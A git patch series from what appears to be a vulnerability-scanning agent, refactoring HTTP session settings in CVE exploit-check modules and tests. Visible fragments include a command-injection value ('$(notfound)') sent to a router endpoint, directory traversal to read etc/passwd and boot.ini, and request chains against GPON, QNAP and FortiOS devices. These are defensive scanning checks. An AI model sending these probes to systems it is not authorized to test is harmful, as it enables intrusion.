a/tests/exploits/cve_2022_26318_test.py +++ b/tests/exploits/cve_2022_26318_test.py @@ -40,3 +40,4 @@ def testCVE202226318_whenNotVulnerable_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2023_1389_test.py b/tests/exploits/cve_2023_1389_test.py index a3f1a200..45773a7c 100644 --- a/tests/exploits/cve_2023_1389_test.py +++ b/tests/exploits/cve_2023_1389_test.py @@ -59,3 +59,4 @@ def testCVE20231389_whenNotVulnerable_reportNoFinding( assert accept is False assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2023_22518_test.py b/tests/exploits/cve_2023_22518_test.py index 5a2a3faf..ca28ff5e 100644 --- a/tests/exploits/cve_2023_22518_test.py +++ b/tests/exploits/cve_2023_22518_test.py @@ -33,6 +33,7 @@ def testCVE202322518_whenVulnerable_reportFinding( "Authorization Vulnerability In Confluence Data Center and Server" ) assert vulnerability.risk_rating.name == "CRITICAL" + assert exploit_instance.session.max_redirects == 2 def testCVE202322518_whenSafe_reportNothing( diff --git a/tests/exploits/cve_2023_27997_test.py b/tests/exploits/cve_2023_27997_test.py index 91f673e9..030a21a6 100644 --- a/tests/exploits/cve_2023_27997_test.py +++ b/tests/exploits/cve_2023_27997_test.py @@ -43,3 +43,4 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] "A heap-based buffer overflow vulnerability in FortiOS." ) assert vulnerability.entry.risk_rating == "CRITICAL" + assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2023_36845_test.py b/tests/exploits/cve_2023_36845_test.py index e8195910..450585a6 100644 --- a/tests/exploits/cve_2023_36845_test.py +++ b/tests/exploits/cve_2023_36845_test.py @@ -56,3 +56,4 @@ def testCVE202336845_whenSafe_reportNothing( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 + assert exploit_instance.session.max_redirects == 2 From 304b118d47501514fae8e389edc45c9cc2880ba4 Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Tue, 19 Dec 2023 14:25:24 +0100 Subject: [PATCH 03/11] fix arguments --- agent/exploits/cve_2019_7193.py | 4 +++- agent/exploits/cve_2021_32648.py | 3 ++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index 4e3d8fd7..5511653b 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -35,7 +35,9 @@ def __init__(self) -> None: def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = self.session.get( + target_uri + "/cgi-bin/", verify=False, timeout=DEFAULT_TIMEOUT + ) except requests_exceptions.RequestException: return False return resp.status_code == 200 diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py index 0d99c33d..11de30f6 100644 --- a/agent/exploits/cve_2021_32648.py +++ b/agent/exploits/cve_2021_32648.py @@ -34,12 +34,13 @@ class CVE202132648Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() + self.session.verify = False self.session.max_redirects = MAX_REDIRECTS def accept(self, target: definitions.Target) -> bool: try: url = f"{target.scheme}://{target.host}:{target.port}" - r = self.session.get(url, verify=False, timeout=DEFAULT_TIMEOUT) + r = self.session.get(url, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return False return r.status_code == 200 and "october_session" in r.headers.get( From 796d917d01899cb196a0ef788c47bcf573f7e111 Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Tue, 19 Dec 2023 14:54:26 +0100 Subject: [PATCH 04/11] Refactoring --- agent/exploits/cve_2014_0780.py | 7 +++---- agent/exploits/cve_2016_2386.py | 6 ++---- agent/exploits/cve_2018_10561.py | 5 ++--- agent/exploits/cve_2018_13382.py | 7 +++---- agent/exploits/cve_2019_12989__cve_2019_12991.py | 5 +++-- agent/exploits/cve_2019_7193.py | 8 ++------ agent/exploits/cve_2021_22941.py | 5 ++--- agent/exploits/cve_2022_26318.py | 6 ++---- agent/exploits/cve_2023_1389.py | 6 ++---- agent/exploits/cve_2023_27997.py | 10 +++------- agent/exploits/cve_2023_36845.py | 7 +++---- 11 files changed, 27 insertions(+), 45 deletions(-) diff --git a/agent/exploits/cve_2014_0780.py b/agent/exploits/cve_2014_0780.py index d5af7fbe..4d0eb15e 100644 --- a/agent/exploits/cve_2014_0780.py +++ b/agent/exploits/cve_2014_0780.py @@ -30,11 +30,12 @@ class CVE20140780Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True @@ -50,9 +51,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: r = requests.Request(method="GET", url=url) prep = r.prepare() prep.url = url - response = self.session.send( - prep, verify=False, timeout=DEFAULT_TIMEOUT - ) + response = self.session.send(prep, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2016_2386.py b/agent/exploits/cve_2016_2386.py index 306500d4..d2ca49a1 100644 --- a/agent/exploits/cve_2016_2386.py +++ b/agent/exploits/cve_2016_2386.py @@ -55,12 +55,11 @@ class CVE20162386Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: try: - resp = self.session.get( - target.origin, verify=False, timeout=DEFAULT_TIMEOUT - ) + resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False server = resp.headers.get("server", "Unknown") @@ -77,7 +76,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: headers=HEADERS, data=PAYLOAD, timeout=DEFAULT_TIMEOUT, - verify=False, ) except requests_exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2018_10561.py b/agent/exploits/cve_2018_10561.py index 6dd082dc..ca207971 100644 --- a/agent/exploits/cve_2018_10561.py +++ b/agent/exploits/cve_2018_10561.py @@ -26,11 +26,12 @@ class CVE201810562Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -52,12 +53,10 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: self.session.post( target_uri + "/GponForm/diag_Form?images/", data=data, - verify=False, timeout=DEFAULT_TIMEOUT, ) response = self.session.get( target_uri + "/diag.html?images/", - verify=False, timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException: diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index 460767b9..cf7e07a4 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -30,13 +30,12 @@ class CVE201813382Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: try: url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" - r = self.session.get( - url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT - ) + r = self.session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return False return r.status_code == 200 and "Please Login" in r.text @@ -55,7 +54,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } try: res = self.session.post( - url, headers=HEADERS, data=data, verify=False, timeout=DEFAULT_TIMEOUT + url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2019_12989__cve_2019_12991.py b/agent/exploits/cve_2019_12989__cve_2019_12991.py index 1e2bc988..7866f84c 100644 --- a/agent/exploits/cve_2019_12989__cve_2019_12991.py +++ b/agent/exploits/cve_2019_12989__cve_2019_12991.py @@ -30,11 +30,12 @@ class CVE201912989Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True @@ -58,7 +59,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } try: r = self.session.post( - url, headers=HEADERS, json=json, verify=False, timeout=DEFAULT_TIMEOUT + url, headers=HEADERS, json=json, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException as e: logger.error("Error : %s", e) diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index 5511653b..62c03b25 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -31,13 +31,12 @@ class CVE20197193Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = self.session.get( - target_uri + "/cgi-bin/", verify=False, timeout=DEFAULT_TIMEOUT - ) + resp = self.session.get(target_uri + "/cgi-bin/", timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 @@ -50,7 +49,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri + "/photo/p/api/album.php", data={"a": "setSlideshow", "f": "qsamplealbum"}, headers=HEADERS, - verify=False, timeout=DEFAULT_TIMEOUT, ) if resp.status_code != 200: @@ -64,7 +62,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: resp = self.session.get( target_uri + "/photo/slideshow.php?album=" + album_id, headers=HEADERS, - verify=False, timeout=DEFAULT_TIMEOUT, ) if resp.status_code != 200: @@ -86,7 +83,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri + "/photo/p/api/video.php", data=post_data, headers=HEADERS, - verify=False, timeout=DEFAULT_TIMEOUT, ) if b"/bin/sh" not in resp.content: diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index b48e6605..d44ea0c3 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -40,11 +40,12 @@ class CVE20212941Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - req = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + req = self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return "ShareFile" in req.text @@ -67,12 +68,10 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: data=data, params=params, headers=headers, - verify=False, timeout=DEFAULT_TIMEOUT, ) req = self.session.get( target_uri + "/configservice/Home/Error", - verify=False, timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException: diff --git a/agent/exploits/cve_2022_26318.py b/agent/exploits/cve_2022_26318.py index a412c127..89eddbe7 100644 --- a/agent/exploits/cve_2022_26318.py +++ b/agent/exploits/cve_2022_26318.py @@ -30,13 +30,12 @@ class CVE202226318Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - self.session.get( - target_uri + "/agent/login", verify=False, timeout=DEFAULT_TIMEOUT - ) + self.session.get(target_uri + "/agent/login", timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True @@ -52,7 +51,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri + "/agent/login", headers=headers, data=payload, - verify=False, timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException: diff --git a/agent/exploits/cve_2023_1389.py b/agent/exploits/cve_2023_1389.py index 352804a8..a0462841 100644 --- a/agent/exploits/cve_2023_1389.py +++ b/agent/exploits/cve_2023_1389.py @@ -28,13 +28,12 @@ class CVE20231389Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}/cgi-bin/luci/" try: - response = self.session.get( - target_uri, verify=False, timeout=DEFAULT_TIMEOUT - ) + response = self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) return response.status_code == 200 except requests_exceptions.RequestException: return False @@ -45,7 +44,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: response = self.session.get( target_uri + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(notfound)", - verify=False, timeout=DEFAULT_TIMEOUT, ) # TODO(OS-6117): Approximate check that needs a live instance to validate the issue. diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index e982171a..f1f917de 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -46,7 +46,6 @@ def _make_request( req = session.post( baseurl + "/remote/hostcheck_validate", headers={"content-type": "application/x-www-form-urlencoded"}, - verify=False, data=payload, ) return req @@ -72,13 +71,12 @@ class CVE202327997Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}:{target.port}" try: - req = self.session.get( - target_uri + "/remote/info", verify=False, timeout=DEFAULT_TIMEOUT - ) + req = self.session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT) reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(req.text) except requests_exceptions.RequestException: @@ -87,9 +85,7 @@ def accept(self, target: definitions.Target) -> bool: def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}" - r = self.session.get( - target_uri + "/remote/info", verify=False, timeout=DEFAULT_TIMEOUT - ) + r = self.session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT) reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(r.text) salt = matches[0].encode() diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py index 1e557d93..5f15e4e5 100644 --- a/agent/exploits/cve_2023_36845.py +++ b/agent/exploits/cve_2023_36845.py @@ -47,11 +47,12 @@ class CVE202336845Exploit(definitions.Exploit): def __init__(self) -> None: self.session = requests.Session() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False def accept(self, target: definitions.Target) -> bool: target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text @@ -60,9 +61,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = self.session.post( - target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT - ) + resp = self.session.post(target_uri, files=PAYLOAD, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return [] From 186dd422de5a17879f7899a8f08edae85c6e5283 Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Tue, 19 Dec 2023 17:15:28 +0100 Subject: [PATCH 05/11] Remove useless assertions --- tests/exploits/cve_2014_0780_test.py | 1 - tests/exploits/cve_2014_7169_test.py | 1 - tests/exploits/cve_2016_2386_test.py | 1 - tests/exploits/cve_2018_10561_test.py | 1 - tests/exploits/cve_2018_13382_test.py | 1 - tests/exploits/cve_2018_14558_test.py | 1 - tests/exploits/cve_2018_14667_test.py | 1 - tests/exploits/cve_2018_7841_test.py | 1 - tests/exploits/cve_2019_12989_cve_2019_12997_test.py | 1 - tests/exploits/cve_2019_7193_test.py | 1 - tests/exploits/cve_2021_22941_test.py | 1 - tests/exploits/cve_2021_32648_test.py | 1 - tests/exploits/cve_2022_26318_test.py | 1 - tests/exploits/cve_2023_1389_test.py | 1 - tests/exploits/cve_2023_22518_test.py | 1 - tests/exploits/cve_2023_27997_test.py | 1 - tests/exploits/cve_2023_36845_test.py | 1 - 17 files changed, 17 deletions(-) diff --git a/tests/exploits/cve_2014_0780_test.py b/tests/exploits/cve_2014_0780_test.py index af0b5021..f4b8c46e 100644 --- a/tests/exploits/cve_2014_0780_test.py +++ b/tests/exploits/cve_2014_0780_test.py @@ -59,4 +59,3 @@ def testCVE20140780_whenNotVulnerable_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2014_7169_test.py b/tests/exploits/cve_2014_7169_test.py index be6b8f15..26294aa4 100644 --- a/tests/exploits/cve_2014_7169_test.py +++ b/tests/exploits/cve_2014_7169_test.py @@ -60,4 +60,3 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2016_2386_test.py b/tests/exploits/cve_2016_2386_test.py index c449ce5b..e9216565 100644 --- a/tests/exploits/cve_2016_2386_test.py +++ b/tests/exploits/cve_2016_2386_test.py @@ -32,7 +32,6 @@ def testCVE20162386_whenVulnerable_reportFinding( "SQL Injection Vulnerability" ) assert vulnerability.risk_rating.name == "CRITICAL" - assert exploit_instance.session.max_redirects == 2 def testCVE20162386_whenSafe_reportNothing( diff --git a/tests/exploits/cve_2018_10561_test.py b/tests/exploits/cve_2018_10561_test.py index b73264db..4d14679f 100644 --- a/tests/exploits/cve_2018_10561_test.py +++ b/tests/exploits/cve_2018_10561_test.py @@ -35,4 +35,3 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( "test3.txt\n" "```\n" ) - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2018_13382_test.py b/tests/exploits/cve_2018_13382_test.py index b36da366..c19c225a 100644 --- a/tests/exploits/cve_2018_13382_test.py +++ b/tests/exploits/cve_2018_13382_test.py @@ -48,4 +48,3 @@ def testCVE201813382_whenNotVulnerable_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2018_14558_test.py b/tests/exploits/cve_2018_14558_test.py index 80a2463f..6f41d85a 100644 --- a/tests/exploits/cve_2018_14558_test.py +++ b/tests/exploits/cve_2018_14558_test.py @@ -55,4 +55,3 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2018_14667_test.py b/tests/exploits/cve_2018_14667_test.py index 32c4576b..20629ab6 100644 --- a/tests/exploits/cve_2018_14667_test.py +++ b/tests/exploits/cve_2018_14667_test.py @@ -39,7 +39,6 @@ def testCVE201814667_whenVulnerable_reportFinding( "RichFaces Framework Expression Language Injection Vulnerability" ) assert vulnerability.risk_rating.name == "CRITICAL" - assert exploit_instance.session.max_redirects == 2 def testCVE201814667_whenSafe_reportNothing( diff --git a/tests/exploits/cve_2018_7841_test.py b/tests/exploits/cve_2018_7841_test.py index c8ad6edd..b6dc5080 100644 --- a/tests/exploits/cve_2018_7841_test.py +++ b/tests/exploits/cve_2018_7841_test.py @@ -56,4 +56,3 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2019_12989_cve_2019_12997_test.py b/tests/exploits/cve_2019_12989_cve_2019_12997_test.py index 80c41b8e..c94caa6c 100644 --- a/tests/exploits/cve_2019_12989_cve_2019_12997_test.py +++ b/tests/exploits/cve_2019_12989_cve_2019_12997_test.py @@ -67,4 +67,3 @@ def test_CVE_2019_12989_and_CVE_2019_12991_whenJsonNotValide_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2019_7193_test.py b/tests/exploits/cve_2019_7193_test.py index fcf3ad9a..7a1e45a6 100644 --- a/tests/exploits/cve_2019_7193_test.py +++ b/tests/exploits/cve_2019_7193_test.py @@ -54,4 +54,3 @@ def testCVE20197193_whenSafe_reportNothing( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2021_22941_test.py b/tests/exploits/cve_2021_22941_test.py index b90fd238..4eb6ef26 100644 --- a/tests/exploits/cve_2021_22941_test.py +++ b/tests/exploits/cve_2021_22941_test.py @@ -39,4 +39,3 @@ def testCVE_2021_22941_whenVulnerable_reportFinding( == "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control " "in Citrix ShareFile storage zones controller." ) - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2021_32648_test.py b/tests/exploits/cve_2021_32648_test.py index 73657f91..27ecebad 100644 --- a/tests/exploits/cve_2021_32648_test.py +++ b/tests/exploits/cve_2021_32648_test.py @@ -52,4 +52,3 @@ def testCVE202132648_whenNotVulnerable_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2022_26318_test.py b/tests/exploits/cve_2022_26318_test.py index ef54133d..ec4bb4b1 100644 --- a/tests/exploits/cve_2022_26318_test.py +++ b/tests/exploits/cve_2022_26318_test.py @@ -40,4 +40,3 @@ def testCVE202226318_whenNotVulnerable_noFindingsReported( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2023_1389_test.py b/tests/exploits/cve_2023_1389_test.py index 45773a7c..a3f1a200 100644 --- a/tests/exploits/cve_2023_1389_test.py +++ b/tests/exploits/cve_2023_1389_test.py @@ -59,4 +59,3 @@ def testCVE20231389_whenNotVulnerable_reportNoFinding( assert accept is False assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2023_22518_test.py b/tests/exploits/cve_2023_22518_test.py index ca28ff5e..5a2a3faf 100644 --- a/tests/exploits/cve_2023_22518_test.py +++ b/tests/exploits/cve_2023_22518_test.py @@ -33,7 +33,6 @@ def testCVE202322518_whenVulnerable_reportFinding( "Authorization Vulnerability In Confluence Data Center and Server" ) assert vulnerability.risk_rating.name == "CRITICAL" - assert exploit_instance.session.max_redirects == 2 def testCVE202322518_whenSafe_reportNothing( diff --git a/tests/exploits/cve_2023_27997_test.py b/tests/exploits/cve_2023_27997_test.py index 030a21a6..91f673e9 100644 --- a/tests/exploits/cve_2023_27997_test.py +++ b/tests/exploits/cve_2023_27997_test.py @@ -43,4 +43,3 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] "A heap-based buffer overflow vulnerability in FortiOS." ) assert vulnerability.entry.risk_rating == "CRITICAL" - assert exploit_instance.session.max_redirects == 2 diff --git a/tests/exploits/cve_2023_36845_test.py b/tests/exploits/cve_2023_36845_test.py index 450585a6..e8195910 100644 --- a/tests/exploits/cve_2023_36845_test.py +++ b/tests/exploits/cve_2023_36845_test.py @@ -56,4 +56,3 @@ def testCVE202336845_whenSafe_reportNothing( vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - assert exploit_instance.session.max_redirects == 2 From aee2cfa5ee459654811c87130cb3ed280d155ff6 Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Wed, 20 Dec 2023 13:40:35 +0100 Subject: [PATCH 06/11] Init the session in the execution of the rule. --- agent/asteroid_agent.py | 21 +++---- agent/exploits/cve_2014_0780.py | 15 ++--- agent/exploits/cve_2014_7169.py | 12 ++-- agent/exploits/cve_2016_2386.py | 15 ++--- agent/exploits/cve_2018_10561.py | 17 ++--- agent/exploits/cve_2018_13382.py | 17 +++-- agent/exploits/cve_2018_14558.py | 12 ++-- agent/exploits/cve_2018_14667.py | 24 ++++--- agent/exploits/cve_2018_7841.py | 12 ++-- .../cve_2019_12989__cve_2019_12991.py | 17 +++-- agent/exploits/cve_2019_7193.py | 62 +++++++++++-------- agent/exploits/cve_2021_22941.py | 17 ++--- agent/exploits/cve_2021_32648.py | 30 +++++---- agent/exploits/cve_2022_26318.py | 15 ++--- agent/exploits/cve_2023_1389.py | 16 ++--- agent/exploits/cve_2023_22518.py | 12 ++-- agent/exploits/cve_2023_27997.py | 36 +++++++---- agent/exploits/cve_2023_36845.py | 15 ++--- 18 files changed, 193 insertions(+), 172 deletions(-) diff --git a/agent/asteroid_agent.py b/agent/asteroid_agent.py index b2dfb76b..60f9052a 100644 --- a/agent/asteroid_agent.py +++ b/agent/asteroid_agent.py @@ -5,7 +5,6 @@ from rich import logging as rich_logging from concurrent import futures -import requests from ostorlab.agent import agent from ostorlab.agent import definitions as agent_definitions from ostorlab.agent.mixins import agent_report_vulnerability_mixin @@ -67,19 +66,13 @@ def process(self, message: m.Message) -> None: for exploit in self.exploits ] for target_vulnz in futures.as_completed(targets_checks): - try: - for vulnerability in target_vulnz.result(): - self.report_vulnerability( - entry=vulnerability.entry, - risk_rating=vulnerability.risk_rating, - vulnerability_location=vulnerability.vulnerability_location, - dna=vulnerability.dna, - technical_detail=vulnerability.technical_detail, - ) - except requests.exceptions.TooManyRedirects as e: - logger.error( - "Too many redirects: %s", - e, + for vulnerability in target_vulnz.result(): + self.report_vulnerability( + entry=vulnerability.entry, + risk_rating=vulnerability.risk_rating, + vulnerability_location=vulnerability.vulnerability_location, + dna=vulnerability.dna, + technical_detail=vulnerability.technical_detail, ) diff --git a/agent/exploits/cve_2014_0780.py b/agent/exploits/cve_2014_0780.py index 4d0eb15e..ae649915 100644 --- a/agent/exploits/cve_2014_0780.py +++ b/agent/exploits/cve_2014_0780.py @@ -27,20 +27,21 @@ class CVE20140780Exploit(definitions.Exploit): CVE-2014_0780: Indusoft Web Studio Directory Traversal. """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) + session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" file_names = ["boot.ini", "etc/passwd"] for file_name in file_names: @@ -51,7 +52,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: r = requests.Request(method="GET", url=url) prep = r.prepare() prep.url = url - response = self.session.send(prep, timeout=DEFAULT_TIMEOUT) + response = session.send(prep, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2014_7169.py b/agent/exploits/cve_2014_7169.py index ac1211bb..ece45544 100644 --- a/agent/exploits/cve_2014_7169.py +++ b/agent/exploits/cve_2014_7169.py @@ -32,26 +32,26 @@ class CVE20147169Exploit(definitions.Exploit): """CVE-2014-7169: GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability.""" - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS if target.path.endswith(".cgi") is False: return False target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" for delay in DELAYS: payload = PAYLOAD_TEMPLATE % delay try: - resp = self.session.get( + resp = session.get( target_uri, headers={ "User-Agent": payload, diff --git a/agent/exploits/cve_2016_2386.py b/agent/exploits/cve_2016_2386.py index d2ca49a1..d6c0c71c 100644 --- a/agent/exploits/cve_2016_2386.py +++ b/agent/exploits/cve_2016_2386.py @@ -52,14 +52,12 @@ class CVE20162386Exploit(definitions.Exploit): CVE-2016-2386: SAP NetWeaver SQL Injection Vulnerability """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects 